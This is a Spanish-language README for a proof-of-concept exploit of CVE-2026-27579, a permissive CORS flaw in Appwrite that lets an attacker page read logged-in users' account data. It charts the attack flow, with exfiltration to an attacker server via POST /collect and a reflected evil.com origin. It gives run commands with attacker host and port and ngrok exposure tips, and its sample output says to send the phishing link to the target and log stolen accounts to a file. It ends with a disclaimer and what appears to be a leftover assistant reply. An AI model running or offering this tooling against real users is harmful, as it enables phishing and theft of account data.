
Exploit PoC para CVE-2026-27579, una mala configuración de CORS en el backend de Appwrite, que demuestra el robo de datos de cuenta con credenciales mediante una página de phishing maliciosa.
CVE-2026-27579 – Fuga de Datos de Cuenta Autenticada mediante CORS Permisivo
CVE-2026-27579 (GHSA-qh5m-p8jh-hx88)
Una mala configuración grave de CORS en el backend de Appwrite utilizado por realtime-collaboration-platform permite que un origen controlado por el atacante lea datos sensibles de usuarios autenticados (correo electrónico, ID de usuario, estado de MFA, etc.) de víctimas con sesión iniciada mediante solicitudes entre orígenes con credenciales.
/v1/account con reflejo de Access-Control-Allow-Origin + Access-Control-Allow-Credentials: trueflowchart TD
A[Victim is logged in\nCollabPlatform / Appwrite] --> B[Victim visits attacker-controlled page\nphishing link / malvertising]
B --> C[Browser sends GET /v1/account\nwith session cookies credentials: 'include']
C --> D[Appwrite reflects arbitrary Origin\nAccess-Control-Allow-Origin: evil.com]
D --> E[Access-Control-Allow-Credentials: true]
E --> F[Browser allows JavaScript to read response\nemail, $id, mfa, name, ...]
F --> G[Data exfiltrated to attacker server\nPOST /collect]
G --> H[Attacker receives full account details]
--lhost y --lport personalizadospip install flask
# Uso básico
python3 exploit.py --lhost 192.168.1.100 --lport 8000
# Usando dominio / IP pública
python3 exploit.py --lhost attacker.yourdomain.com --lport 8080
# Para exposición pública (recomendado)
# 1. Ejecuta el script
# 2. Usa ngrok: ngrok http 8000
# 3. Reemplaza http://<lhost>:<lport> en el código con tu URL de ngrok
# (o vuelve a ejecutar con --lhost = tu-url-ngrok.ngrok-free.app)
Ejemplo de salida al ejecutar:
[*] Starting malicious server → http://192.168.1.100:8000
[*] Send this link to the target:
http://192.168.1.100:8000/
La víctima visita el enlace con sesión iniciada → los datos aparecen en la terminal y se guardan en stolen_accounts.txt
Este código se proporciona únicamente con fines educativos, pruebas de seguridad autorizadas, ejercicios de red team e investigación de vulnerabilidades.
El uso no autorizado contra cualquier sistema o individuo sin permiso escrito explícito es ilegal en la mayoría de las jurisdicciones (fraude informático, acceso no autorizado, robo de datos, leyes de phishing, etc.).
Úsalo únicamente en entornos que poseas o para los que tengas permiso formal de prueba.
Mohammed Idrees Banyamer
Investigador de Seguridad
Jordania
Instagram: @banyamer_security
No dudes en copiar y pegar esto directamente en tu archivo README.md.
Si quieres añadir capturas de pantalla, cambiar los colores de las insignias, agregar más secciones (Demo, Mitigación, etc.), o incluir insignia de licencia / contadores de estrellas / forks — házmelo saber y puedo ampliarlo.